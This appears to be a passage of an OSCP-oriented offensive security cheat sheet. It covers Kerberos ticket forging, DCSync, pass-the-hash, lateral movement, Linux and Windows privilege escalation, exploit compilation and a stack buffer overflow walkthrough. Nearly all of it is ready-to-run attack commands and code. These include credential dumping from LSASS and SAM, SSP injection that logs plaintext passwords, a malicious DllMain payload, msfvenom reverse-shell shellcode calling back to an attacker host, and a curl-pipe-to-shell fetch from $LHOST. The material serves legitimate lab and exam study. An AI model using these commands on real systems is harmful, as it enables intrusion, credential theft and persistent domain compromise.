impacket-ticketer -nthash <SERVICE_NT> -domain-sid S-1-5-21-1-2-3 -domain domain.tld \ -spn cifs/target.domain.tld Administrator
export KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass target.domain.tld
# ---- Windows ----
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.tld /sid:S-1-5-21-1-2-3 /target:target.domain.tld /service:cifs /rc4:<SERVICE_NT> /ptt" exit

Golden tickets

When: you have the krbtgt hash (from DCSync, below). Mint a TGT for anyone and any service — complete, persistent domain compromise. Then: inject it (/ptt, or export KRB5CCNAME) and authenticate anywhere as Administrator/DA — psexec/wmiexec the DC, DCSync at will, read every box. Keep it as persistence: a Golden ticket survives every password reset except krbtgt's (reset twice to kill it). For the exam, grab your proof flags — don't leave gratuitous backdoors.

forge a TGT as Administrator
# ---- Linux (Kali) ----
impacket-ticketer -nthash <KRBTGT_NT> -domain-sid S-1-5-21-1-2-3 -domain domain.tld Administrator
export KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass domain.tld/Administrator@dc.domain.tld
# ---- Windows ----
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.tld /sid:S-1-5-21-1-2-3 /krbtgt:<KRBTGT_NT> /ptt" exit
.\Rubeus.exe golden /rc4:<KRBTGT_NT> /domain:domain.tld /sid:S-1-5-21-1-2-3 /user:Administrator /ptt
# child → parent (SID-history abuse): add the PARENT domain's -512 SID as -extra-sid
impacket-ticketer -nthash <CHILD_KRBTGT> -domain child.domain.tld -domain-sid <CHILD_SID> \ -extra-sid <PARENT_SID>-519 Administrator # → Enterprise Admin across the forest

DCSync & domain dominance

When: you (or a group you're in) hold GetChanges + GetChangesAll on the domain — usually reached via an ACL edge above. This hands you every hash, including krbtgt for a Golden ticket. Then: take krbtgt → forge a Golden ticket (above); take the Administrator NT hash → pass-the-hash to the DC and every host; crack or reuse the rest. DCSync is usually the last step — you already own the domain by the time you can run it.

replicate every secret from the DC
# ---- Linux (Kali) ----
impacket-secretsdump domain.tld/USER:PASS@$IP # all domain hashes
impacket-secretsdump -just-dc-user krbtgt domain.tld/USER:PASS@$IP # just krbtgt (→ Golden)
nxc smb $IP -u USER -p PASS --ntds # dump NTDS.dit via the DC
# ---- Windows ----
.\mimikatz.exe "lsadump::dcsync /domain:domain.tld /user:krbtgt" exit

AD attack cheat-table — what each needs & gives

technique → prerequisite / result / crack?
Password Sprayneed: a user list · get: a valid plaintext cred · crack: no · use: initial access
AS-REP Roastingneed: a domain user + a pre-auth-disabled account · get: AS-REP hash · crack: YES (-m 18200)
Kerberoastingneed: any domain creds + an SPN account · get: TGS hash · crack: YES (-m 13100)
Silver Ticketneed: a service account's hash · get: forged TGS to one service · crack: no
Golden Ticketneed: the krbtgt hash · get: forged TGT = whole domain · crack: no · use: dominance/persistence
DCSyncneed: GetChanges/GetChangesAll (DA-ish) · get: every NTLM hash · crack: no
Pass-the-Hashneed: an NT hash · get: an authenticated session · crack: no
Over-Pass-the-Hashneed: an NT hash / AES key · get: a Kerberos TGT · crack: no
Pass-the-Ticketneed: local admin (ticket in memory) · get: reuse of an active ticket · crack: no
16

Move host to host

Active Directory — Lateral Movement

Once you hold a credential, hash, or ticket that is local admin somewhere — a (Pwn3d!) from nxc or an AdminTo edge in BloodHound — pivot across the domain. Every method below accepts a password, an NT hash (pass-the-hash), or a Kerberos ticket (-k -no-pass).

WMI & WinRM

Quiet, no service dropped. WMI (wmiexec) and WinRM (evil-winrm / PSRemoting) are the first choice when the host allows them (WinRM = 5985/5986).

exec over WMI / WinRM
impacket-wmiexec domain.tld/USER:PASS@$IP # semi-interactive, no binary dropped
impacket-wmiexec -hashes :NTHASH domain.tld/USER@$IP
evil-winrm -i $IP -u USER -p PASS # WinRM shell
evil-winrm -i $IP -u USER -H NTHASH
# native PowerShell remoting from a Windows foothold:
Enter-PSSession -ComputerName target -Credential (Get-Credential)
Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred
# native LOLBIN equivalents (no impacket):
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami" # WinRM, port 5985
wmic /node:$IP /user:jen /password:Nexus123! process call create "cmd /c calc" # WMI, port 135

PsExec (impacket)

Classic SYSTEM shell: uploads a service binary and runs it as SYSTEM. Reliable but noisy (drops a service, writes an event log).

SYSTEM shell over SMB
impacket-psexec domain.tld/USER:PASS@$IP # → SYSTEM
impacket-psexec -hashes :NTHASH domain.tld/USER@$IP
impacket-smbexec domain.tld/USER:PASS@$IP # semi-interactive, stealthier variant
# Sysinternals PsExec from a Windows host:
PsExec.exe \\target -u corp\USER -p PASS cmd

Pass-the-Hash (PtH)

You don't need the plaintext — the NT hash authenticates over NTLM directly. Use it anywhere a tool takes -H / -hashes. First spray the hash to find where it's admin.

authenticate with the hash
nxc smb <range> -u USER -H NTHASH # spray a hash — look for (Pwn3d!)
nxc smb $IP -u USER -H NTHASH -x 'whoami'
evil-winrm -i $IP -u USER -H NTHASH
impacket-psexec -hashes :NTHASH domain.tld/USER@$IP
impacket-wmiexec -hashes :NTHASH domain.tld/USER@$IP
# mimikatz (Windows): sekurlsa::pth /user:USER /domain:corp /ntlm:<NT> /run:cmd

Over-Pass-the-Hash (Pass-the-Key)

Turn an NT hash (or AES key) into a full Kerberos TGT, then act via Kerberos — cleaner than NTLM PtH and works where NTLM is disabled. AES keys are stealthier than RC4/NT.

hash/key → TGT → act
impacket-getTGT domain.tld/USER -hashes :NTHASH -dc-ip $IP # NT hash → TGT
impacket-getTGT domain.tld/USER -aesKey <AES256> -dc-ip $IP # AES key → TGT (stealthier)
export KRB5CCNAME=USER.ccache
impacket-psexec -k -no-pass domain.tld/USER@target.domain.tld
# mimikatz: sekurlsa::pth /user:USER /domain:corp /aes256:<KEY> /run:cmd

DCOM

Distributed COM objects expose methods that execute commands — a lateral path that avoids PsExec's service. Needs local admin on the target and DCOM reachable (135 + dynamic RPC).

exec via a DCOM object
impacket-dcomexec domain.tld/USER:PASS@$IP # MMC20.Application by default
impacket-dcomexec -object MMC20 -hashes :NTHASH domain.tld/USER@$IP
# from Windows PowerShell (MMC20.Application):
$c=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','target'))
$c.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c calc.exe','7')

Pass-the-Ticket (reuse a ticket in memory)

Different from over-pass-the-hash: here you steal an existing Kerberos ticket (TGT or TGS) out of memory on a box you own and inject it into your session — no hash or password needed. Great when a privileged user has a live session on your foothold.

export tickets, then inject one
# ---- Windows (mimikatz) ----
privilege::debug ; sekurlsa::tickets /export # dumps .kirbi files to disk
kerberos::ptt [0;12bd0]-2-0-40810000-dave@cifs-web04.kirbi # inject a TGS
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist # confirm the ticket is loaded
# ---- Linux (Kali) ----
export KRB5CCNAME=stolen.ccache ; impacket-psexec -k -no-pass domain.tld/USER@target.domain.tld

Active Directory persistence tactics

Mostly awareness for OSCP — grading is snapshot-based on flags, so you rarely need persistence — but know these for labs and the report's recommendations.

17

Read the scanner like a map

linPEAS — Running & Parsing

linpeas.sh runs hundreds of Linux privesc checks in one shot. The trap is drowning in output — so learn its colour code and jump straight to the leads. This section is the map; the actual exploitation of each lead is in the next section (Privilege Escalation — Linux).

How to run it

transfer, run, and read with colour preserved
# get it over (see File Transfer), then:
chmod +x linpeas.sh; ./linpeas.sh -a | tee linpeas.txt # -a = all checks (thorough)
less -R linpeas.txt # reread WITH colours
# no disk write / stealth: run straight from memory
curl http://$LHOST/linpeas.sh | sh
./linpeas.sh -e # extra/heavier checks · -s = stealth/quieter

Reading it section by section — what each block is telling you

linPEAS output → what to look for → where it goes
System Information / Kernelexact kernel + OS → linux-exploit-suggester / searchsploit (PwnKit, DirtyPipe, Baron Samedit). Kernel exploits last — they panic boxes.
Sudo (sudo -l) / SUID / SGIDevery highlighted entry → look it up on GTFOBins. A NOPASSWD binary or a red SUID is often the whole box.
Capabilitiescap_setuid / cap_dac_read_search on a binary → GTFOBins 'Capabilities' section → instant root.
Cron jobsa job running as root that calls a script you can write, a relative binary, or a tar/* wildcard → hijack it. Pair with pspy to catch hidden ones.
Writable files / folders/etc/passwd or /etc/shadow writable, a writable sudoers.d, a writable systemd/service unit, or a writable script a root job runs.
Interesting files / 'Found *pass*'linPEAS greps configs for you — chase .env, config.php, wp-config.php, id_rsa, *.kdbx, .bash_history, .mysql_history, /var/backups.
Network / internal ports127.0.0.1-only services (a DB, an admin panel) → port-forward and attack; also hints at pivots.
Groupsmember of docker / lxd / disk / adm / shadow → each is a known root path (mount the host, read shadow, spawn a privileged container).
NFS exportsan export with no_root_squash → mount it, drop a root-SUID binary from your box.
Software versions / processes as roota service running as root with a known CVE, or a version searchsploit flags.
18

Root the Linux box

Privilege Escalation — Linux

Privesc is a search problem: enumerate broadly, then walk each vector in turn. Run the automated scanners, but read the output — they surface leads, you do the exploiting.

automated enumeration (run it, then read every line)
./linpeas.sh -a | tee linpeas.txt # -a = all checks (the thorough profile)
./lse.sh -l1 # linux-smart-enumeration (levels 0-2)
./unix-privesc-check standard # classic checklist in one pass (see note)
./linux-exploit-suggester.sh # maps `uname -a` to candidate kernel exploits
pspy64 # watch cron & root processes live, no root needed

Quick wins — what to check, and what you do when you find it

sudo & environment abuse
sudo -l # read what you can run
sudo -V # version → Baron Samedit (CVE-2021-3156, <1.9.5p2)
sudoedit -s '\' $(python3 -c 'print("A"*1000)') # quick Baron Samedit vuln test
# env_keep+=LD_PRELOAD or LD_LIBRARY_PATH in sudo -l → load a malicious .so
sudo LD_PRELOAD=/tmp/x.so someprog # x.so runs setuid(0);system("/bin/bash")
# any GTFOBins entry runnable via sudo → shell/read/write as root
SUID / capabilities / PATH hijack
find / -perm -4000 -type f 2>/dev/null # then check each against GTFOBins
strings /path/suidbin ; ltrace ./suidbin # calls a binary by relative name? hijack PATH:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/service
chmod +x /tmp/service; export PATH=/tmp:$PATH; /path/suidbin # then /tmp/rootbash -p
# capability shells
getcap -r / 2>/dev/null
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' # if python has cap_setuid
cron, wildcards & services
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.*; pspy64
# writable script run by root → append your payload
# wildcard injection: root cron runs `tar -cf backup.tar *` in a writable dir →
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.sh
touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'
# writable systemd unit / timer → set ExecStart to your payload, then it runs as root
catch secrets in process footprints (creds pass by fast)
watch -n 1 "ps -aux | grep -i pass" # poll the process list for passwords in argv
sudo tcpdump -i lo -A | grep -i pass # sniff loopback traffic for plaintext creds
grep -i CRON /var/log/syslog # what cron actually ran (and when)
# pspy64 is the better version of the first two — it sees every exec + its arguments

System daemon & service review

A daemon running as root that you can influence is a direct win. List the running services, find the ones owned by root, and check whether their unit file, their ExecStart binary, or their config is writable by you.

review services running as root
systemctl list-units --type=service --state=running
ps -ef --forest ; ps aux | awk '$1=="root"' # what runs as root, and its args
systemctl cat <svc> # see the ExecStart path
ls -la /etc/systemd/system /lib/systemd/system
find /etc/systemd /lib/systemd -writable 2>/dev/null # writable unit → edit ExecStart
find / -perm -4000 -o -perm -2000 2>/dev/null | xargs -r ls -la # SUID/SGID daemons/helpers
busctl list ; ls -la /etc/dbus-1/system.d # D-Bus / polkit privileged methods

Insecure file permissions

A misconfigured permission on a sensitive file is the cleanest privesc there is. The headline case: a writable /etc/passwd lets you add your own root user outright.

writable /etc/passwd → instant root (and friends)
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d
# /etc/passwd writable? add a root-equivalent user:
openssl passwd -1 -salt x Pass123 # → prints $1$x$<hash>
echo 'hacker:$1$x$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # password Pass123 → uid 0
# /etc/shadow readable → crack root's hash; /etc/sudoers.d writable → drop a NOPASSWD rule
# find EVERY root-owned thing you can write:
find / -writable -not -path '/proc/*' 2>/dev/null | grep -vE '^/(sys|dev|run|tmp)'
find / -perm -0002 -type f -not -path '/proc/*' 2>/dev/null # world-writable files
hunt the filesystem for credentials & keys
# broad grep across the usual homes for secrets
grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /var/www /etc /opt /home /srv 2>/dev/null | grep -av Binary
# config files that routinely hold DB / app creds
find / \( -name '*.conf' -o -name '*.config' -o -name '*.ini' -o -name '.env' -o -name 'config.php' -o -name 'wp-config.php' -o -name 'settings.py' -o -name 'database.yml' \) 2>/dev/null
# keys, vaults, backups, DB/shell histories
find / \( -name 'id_rsa' -o -name '*.pem' -o -name '*.kdbx' -o -name '*.bak' -o -name '*.old' \) 2>/dev/null
cat ~/.bash_history /home/*/.bash_history /root/.bash_history ~/.*_history 2>/dev/null ; history ; env
cat /etc/fstab ; mount # mounted shares often carry creds
# reuse EVERYTHING: su to other users, ssh with found keys, then re-run sudo -l
Where to look for information · Linux
~/.bash_historytyped passwords and commands
~/.ssh/id_rsaprivate keys — reuse across hosts
/var/www/app source → DB creds in config.php, wp-config.php, .env
/etc/passwd · /etc/shadowusers; crackable hashes if shadow is readable
/etc/crontab · /etc/cron.d/scheduled jobs and the scripts they call
/opt/ · /srv/custom apps and admin scripts
/var/backups/stored copies, sometimes a readable shadow
/tmp/ · /dev/shm/world-writable staging areas
/etc/fstabmounts, occasionally embedded creds
/var/mail/local mail with secrets
~/.config/ · ~/.aws/ · ~/.docker/cloud / app tokens and saved credentials
*.conf · *.ini · .env · config.phpDB / app connection strings and API keys
~/.mysql_history · ~/.psql_historyDB passwords typed on the command line
/etc/apache2 · /etc/nginxdocroots, vhosts, sometimes .htpasswd basic-auth creds
/etc/sudoers · /etc/sudoers.d/who can run what as root
env · historyrun env and history the moment you land
19

Read the scanner like a map

winPEAS — Running & Parsing

winPEAS is the Windows twin of linPEAS — it dumps token privileges, services, DLL-hijack candidates, unquoted paths, autoruns and stored credentials. Same discipline: learn the colour code, chase the highlights, verify by hand. Exploitation of each lead is in the next section (Privilege Escalation — Windows).

How to run it

pick the build that matches the box / evades AV
.\winPEASx64.exe > winpeas.txt # full scan, log to file (match arch: x64/x86)
.\winPEASany.exe quiet cmd fast # .NET-agnostic build; 'fast' skips slow checks
winPEAS.bat # no .NET / AV-flagged the exe → batch fallback
.\winPEASx64.exe systeminfo userinfo # run ONE category when you know what you want

Reading it section by section — what each block is telling you

winPEAS output → what to look for → where it goes
System InformationOS build + installed hotfixes → wesng / searchsploit. Few patches = a kernel/priv exploit may work.
Token privileges (whoami /priv)SeImpersonate / SeAssignPrimaryToken → PrintSpoofer/GodPotato → SYSTEM; SeBackup/SeRestore/SeTakeOwnership → file abuse. THE first thing to check.
Users / Groupsmembership in Backup Operators, DnsAdmins, Server Operators, or local Administrators at medium integrity (UAC bypass) — each is a known path.
Services — Unquoted Service Pathsa service path with spaces and no quotes (C:\Program Files\A B\svc.exe) AND a writable gap dir → drop C:\Program.exe → SYSTEM on restart.
Services — modifiable service / binaryyou can sc config the binPath or overwrite the service exe (accesschk) → replace with your payload → restart → SYSTEM.
DLL Hijacking / writable %PATH%a service/app that loads a DLL from a folder you can write, or a writable dir on the system PATH → plant a malicious DLL.
AlwaysInstallElevatedboth HKLM+HKCU keys = 1 → msfvenom .msi → msiexec /quiet /i evil.msi → SYSTEM.
Autoruns / Scheduled Tasksa startup entry or task whose binary/script you can overwrite → runs as the owner (often SYSTEM/admin).
Credentialscmdkey/saved creds, Unattend.xml, web.config / applicationHost.config, PowerShell history, saved RDP (.rdg)/PuTTY, WinLogon autologon, DPAPI, browser stores.
RegistryAutoLogon DefaultPassword, reg keys containing 'password', PuTTY sessions.
Network / AV / UAClistening-only ports to pivot, plus whether Defender/AppLocker/UAC will fight your payload.
20

SYSTEM on the Windows box

Privilege Escalation — Windows

Same idea as Linux: enumerate widely, then walk each vector. Start with your own token, then let the scanners map services, DLLs, scheduled tasks and stored credentials.

automated enumeration
whoami /priv # the single most important command
whoami /groups ; whoami /all
systeminfo # feed to windows-exploit-suggester-ng / wesng
.\winPEASx64.exe > peas.txt # full sweep (use the x86 build in a 32-bit process)
.\winPEASany.exe quiet cmd fast # smaller/faster; 'quiet' drops the banners
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
.\Seatbelt.exe -group=all ; .\SharpUp.exe audit

Token privileges — how to abuse each

whoami /priv lists your privileges. Many show as Disabled, but the tools below enable them at runtime — so try regardless. Match the privilege to its escalation:

Privilege → escalation technique
SeImpersonatePrivilegePotato attack → SYSTEM: PrintSpoofer / GodPotato / JuicyPotatoNG / RoguePotato
SeAssignPrimaryTokenPrivilegeSame as SeImpersonate — the potato tools abuse either one → SYSTEM
SeBackupPrivilegeRead ANY file (ignores the DACL): dump SAM+SYSTEM → secretsdump; read flags/keys
SeRestorePrivilegeWrite ANY file/registry key: overwrite a service binary or Utilman.exe/sethc.exe
SeTakeOwnershipPrivilegetakeown any file → grant yourself Full → replace a binary that runs as SYSTEM
SeManageVolumePrivilegeFull control of C:\ → plant a DLL a privileged service loads → SYSTEM
SeLoadDriverPrivilegeLoad a known-vulnerable driver (Capcom.sys) → kernel exec → SYSTEM
SeDebugPrivilegeDump LSASS (procdump/mimikatz) or inject into a SYSTEM process
SeTcbPrivilegeAct as the OS — craft a token with the SYSTEM group and impersonate it
SeCreateTokenPrivilegeBuild an arbitrary token (add the SYSTEM / Domain Admins SID)
SeSecurityPrivilegeRead / clear the Security event log (read audited data, cover tracks)
SeMachineAccountPrivilegeAdd a computer account → RBCD in Active Directory (§15)
commands for the common ones
# SeImpersonate / SeAssignPrimaryToken → SYSTEM (potato attacks)
.\PrintSpoofer64.exe -i -c cmd
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\JuicyPotatoNG.exe -t * -p cmd.exe -a "/c whoami"
.\SigmaPotato.exe "net localgroup administrators pwn /add" # or --revshell $LHOST 4444
# SeBackupPrivilege → read protected files, dump hashes
reg save HKLM\SAM sam & reg save HKLM\SYSTEM system # or diskshadow + robocopy /b for locked files
impacket-secretsdump -sam sam -system system LOCAL # parse on Kali
# SeRestore / SeTakeOwnership → own then overwrite a SYSTEM binary
takeown /f C:\Windows\System32\Utilman.exe ; icacls C:\Windows\System32\Utilman.exe /grant <me>:F
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe # trigger via lock-screen Ease-of-Access
# SeManageVolume → full control of C:\ then DLL hijack
.\SeManageVolumeExploit.exe # grants Users write on C:\, then plant a DLL
# SeLoadDriver → load a vulnerable driver, then exploit it
.\EoPLoadDriver.exe System\CurrentControlSet\MyDrv C:\Temp\Capcom.sys
# SeDebug → dump LSASS for creds
procdump.exe -accepteula -ma lsass.exe lsass.dmp ; pypykatz lsa minidump lsass.dmp

Service, DLL & registry issues

Binary / service hijacking (walkthrough)

Windows services run as SYSTEM, so if you can change what a service executes — its registered path, its on-disk binary, or an unquoted-path gap — you get a SYSTEM shell when it (re)starts. Three flavours:

weak service permissions → reconfigure binPath
# find services whose config YOU can change (SERVICE_CHANGE_CONFIG / WRITE_DAC)
.\accesschk.exe /accepteula -uwcqv <user> *
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * # or a group you're in
sc qc <svc> # inspect the current config
sc config <svc> binPath= "C:\Windows\Temp\rev.exe" obj= LocalSystem
net stop <svc> & net start <svc> # restart to trigger (or reboot)
# no stop rights? make it add you to admins instead of catching a shell:
sc config <svc> binPath= "cmd /c net localgroup administrators user /add"
weak binary perms & unquoted service paths
# 1) weak file perms on the service EXE → overwrite it, then restart the service
accesschk.exe /accepteula -quvw "C:\Path\service.exe"
copy /y rev.exe "C:\Path\service.exe"
# 2) UNQUOTED path with spaces, e.g. C:\Program Files\Some Dir\svc.exe
wmic service get name,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v "\""
# Windows tries C:\Program.exe then C:\Program Files\Some.exe … drop your exe in a writable gap:
copy rev.exe "C:\Program Files\Some.exe" # only if that directory is writable

DLL hijacking (walkthrough)

A service or app that loads a DLL by name and searches a directory you can write to before the legitimate one will load your DLL instead — and run your code in that process's context (often SYSTEM). Find the missing / writable DLL, build one, drop it in place.

find the hijackable DLL, then plant yours
# Procmon (GUI): filter Result = 'NAME NOT FOUND' and Path ends with '.dll' → a DLL it fails to find
# or list a binary's imports and check which dir on its search order is writable:
.\listdlls.exe <proc> ; icacls "C:\Path\On\SearchOrder"
# build a malicious DLL that runs from DllMain
msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f dll -o hijack.dll
x86_64-w64-mingw32-gcc -shared -o hijack.dll evil.c # or hand-rolled (code below)
copy hijack.dll "C:\Path\On\SearchOrder\MISSING.dll" # name it exactly what it searches for
# trigger: restart the service or reopen the app
evil.c — a minimal payload DLL (runs from DllMain)
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net localgroup administrators pwn /add");
// or a reverse shell: system("cmd /c powershell -e <BASE64>");
}
return TRUE;
}
// build on Kali: x86_64-w64-mingw32-gcc -shared -o hijack.dll evil.c
// 32-bit: i686-w64-mingw32-gcc -shared -o hijack.dll evil.c

PowerUp.ps1 — automate the whole hunt

PowerUp finds and exploits most of the above (weak service perms, unquoted paths, DLL hijacks, AlwaysInstallElevated, autoruns) from PowerShell — no compiling needed.

enumerate, then abuse
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks | Tee-Object powerup.txt # run every check, save the output
# service abuse
Get-ModifiableService # services you can reconfigure
Invoke-ServiceAbuse -Name 'VulnSvc' -UserName 'domain\me' # adds you to local admins
Invoke-ServiceAbuse -Name 'VulnSvc' -Command 'C:\Temp\rev.exe'
# unquoted paths & DLL hijacks
Get-UnquotedService ; Find-ProcessDLLHijack ; Find-PathDLLHijack
Write-HijackDll -DllPath 'C:\Path\wlbsctrl.dll' # writes a payload DLL for a found hijack
# other quick wins
Get-RegistryAlwaysInstallElevated ; Write-UserAddMSI # → msiexec /quiet /i UserAdd.msi
Get-UnattendedInstallFile ; Get-RegistryAutoLogon

PowerShell history & transcripts

Admins paste passwords into PowerShell constantly, and PSReadline writes every line to a file on disk — one of the highest-yield, most-overlooked reads on a Windows box.

read the saved history
Get-History # current session only
(Get-PSReadlineOption).HistorySavePath # path to the on-disk history file
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# every user's history you can read:
gc C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -Force
# transcripts / script-block logs if enabled
dir C:\Users\*\Documents\*transcript* 2>nul

Dump SAM & SYSTEM (local hashes for reuse / PtH)

Once you're local admin / SYSTEM (or hold SeBackupPrivilege), dump the local account hashes: they crack easily and the local Administrator hash is reused across machines all the time. The hashes are in the SAM hive, keyed by the SYSTEM hive — grab both and extract them offline.

save the hives, extract with impacket-secretsdump
# on the target (admin shell):
reg save HKLM\SAM C:\Temp\sam & reg save HKLM\SYSTEM C:\Temp\system
reg save HKLM\SECURITY C:\Temp\security # optional: LSA secrets / cached domain creds
# SeBackup but not admin? bypass the DACL on the locked files:
robocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM
# copy them to Kali, then extract the NT hashes:
impacket-secretsdump -sam sam -system system -security security LOCAL
# Administrator:500:aad3b435...:<NTLM>::: → reuse the NT hash directly:
nxc smb <range> -u administrator -H <NTLM> # spray it — look for (Pwn3d!)
evil-winrm -i $IP -u administrator -H <NTLM> # or crack it: hashcat -m 1000
# fully remote (needs admin creds/hash — see 09 · Password Cracking):
impacket-secretsdump domain.tld/USER:PASS@$IP ; nxc smb $IP -u USER -p PASS --sam --lsa

Credential hunting & getting SYSTEM

find stored creds, then use them
reg query HKLM /f password /t REG_SZ /s ; reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # PuTTY / WinSCP
cmdkey /list # saved creds → runas /savecred /user:X cmd
dir /s /b C:\*pass*.txt C:\*.config C:\*.kdbx 2>nul
findstr /si password *.xml *.ini *.txt *.config *.php
# recursive PowerShell sweep across the drive
Get-ChildItem C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1 -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|secret' 2>$null
type C:\Windows\Panther\Unattend.xml # base64 autologon creds
type C:\Windows\System32\inetsrv\config\applicationHost.config # IIS app-pool creds
lazagne.exe all # browser/wifi/app/RDP creds in one shot
# runtime creds
.\mimikatz.exe "sekurlsa::logonpasswords" exit # (or procdump lsass + pypykatz offline)
# medium → high (UAC bypass) when you're a local admin in a limited token:
# fodhelper / RunAs — then a full-privilege shell
SSP injection — capture plaintext at the NEXT logon (mimikatz)
# instead of dumping existing hashes, register a malicious Security Support Provider:
.\mimikatz.exe
privilege::debug
misc::memssp # patches LSASS to log every logon in cleartext
# then wait for a user/admin to log in and read:
type C:\Windows\System32\mimilsa.log # username + PLAINTEXT password
Where to look for information · Windows
C:\Users\*\Desktop · Documents · Downloadsuser files and local.txt
C:\Users\*\AppData\Roaming · Localapp data, session tokens, saved creds
*.kdbxKeePass databases — crack with keepass2john
C:\Windows\Panther\Unattend.xmlautologon creds (base64), also sysprep.inf
C:\inetpub\wwwroot\web.configapp and DB connection strings
C:\xampp\ · C:\wamp\stack configs with plaintext passwords
SAM + SYSTEMunder System32\config — needs SeBackup or a shadow copy
cmdkey /listsaved creds → runas /savecred
reg query HKLM /f password /t REG_SZ /sbulk registry secret hunt
Winlogon registry keyDefaultUserName / DefaultPassword autologon
findstr /si password *.txt *.ini *.configsweep the filesystem for secrets
PSReadline\ConsoleHost_history.txtevery command an admin typed — top read
System32\inetsrv\config\applicationHost.configIIS application-pool credentials
HKCU\...\Terminal Server Client\Serverssaved RDP hosts (pair with cmdkey creds)
C:\Users\*\AppData — *.rdg, *.kdbx, .git\configRDCMan RDP creds, vaults, repo secrets
(Get-PSReadlineOption).HistorySavePaththe exact PowerShell history path
21

Build the PoC so it runs

Compiling Exploits

Public PoCs ship as source. Read the header first — it usually names the target OS/arch and the exact compile line. Build on Kali, match the target's architecture, and statically link when the target is missing libraries.

read the exploit, note the compile hint
searchsploit -m 40839 # mirror it into cwd
head -40 40839.c # authors put the gcc line + target version in comments
file ./target_binary # confirm 32- vs 64-bit if compiling a matching payload
compile a Linux exploit (C)
gcc -o exploit exploit.c # standard
gcc -o exploit exploit.c -static # target missing shared libs → static link
gcc -m32 -o exploit exploit.c # 32-bit target (needs gcc-multilib)
gcc -pthread -o exploit exploit.c -lcrypto # some PoCs need extra flags/libs
sudo apt install gcc-multilib # if -m32 errors on missing headers
cross-compile a Windows exploit on Kali (MinGW)
i686-w64-mingw32-gcc exploit.c -o exploit.exe # 32-bit EXE
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 64-bit EXE
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 # needs Winsock
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c # build a hijack DLL
when a PoC won't compile or run
dos2unix exploit.c # CRLF / line-ending errors
# retype smart-quotes the browser mangled (“ ” ‘ ’ → " ')
# 'GLIBC_2.xx not found' on target → recompile with -static, or build on a matching-distro VM
# wrong arch ('cannot execute binary file') → rebuild with -m32 or the 64-bit toolchain
# Windows kernel PoCs: grab a precompiled build (SecWiki windows-kernel-exploits) to save time
shellcode & payloads for buffer-overflow PoCs
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f c -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f py -b '\x00'
# find bad chars by comparing sent vs in-memory bytes; -f exe|elf|dll|python|c as needed
22

Classic Windows stack overflow

Buffer Overflow — 32-bit Stack

The classic vulnserver / SLMail workflow: fuzz → find the offset → control EIP → find bad chars → find a JMP ESP → drop shellcode. Done with Immunity Debugger + mona.py against a 32-bit service.

1 · Fuzz — find the crashing length

grow the buffer until the service dies
#!/usr/bin/env python3
import socket, sys
buf = b"A" * 100
while True:
try:
s = socket.socket(); s.connect(("<ip>", 9999))
s.send(b"TRUN /.:/" + buf + b"\r\n"); s.close()
print("sent", len(buf)); buf += b"A" * 100
except:
print("crashed at", len(buf)); sys.exit()

2 · Offset — where in the buffer is EIP

cyclic pattern, then look up the offset
msf-pattern_create -l 3000 # paste as the buffer, crash the service
# read the EIP value in the debugger, then:
msf-pattern_offset -l 3000 -q 386F4337 # → offset, e.g. 2003

3 · Confirm EIP control

overwrite EIP with BBBB
offset = 2003
payload = b"A"*offset + b"B"*4 + b"C"*400
# EIP should now read 42424242, and ESP should point at your C's

4 · Bad characters

send every byte, diff against a clean array in memory
badchars = bytes(range(1,256)) # 0x01..0xff (0x00 already excluded)
payload = b"A"*offset + b"B"*4 + badchars
# in mona:
!mona bytearray -b "\x00"
!mona compare -f c:\mona\bytearray.bin -a <ESP-address>
# remove each flagged byte from BOTH the array and your payload, repeat until 'unmodified'

5 · Find a JMP ESP

a return address containing none of your bad chars
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# pick an address in a module WITHOUT ASLR/DEP, e.g. 625011AF
# write it little-endian in the payload: \xaf\x11\x50\x62

6 · Shellcode

generate with the SAME bad chars, add a NOP sled, fire
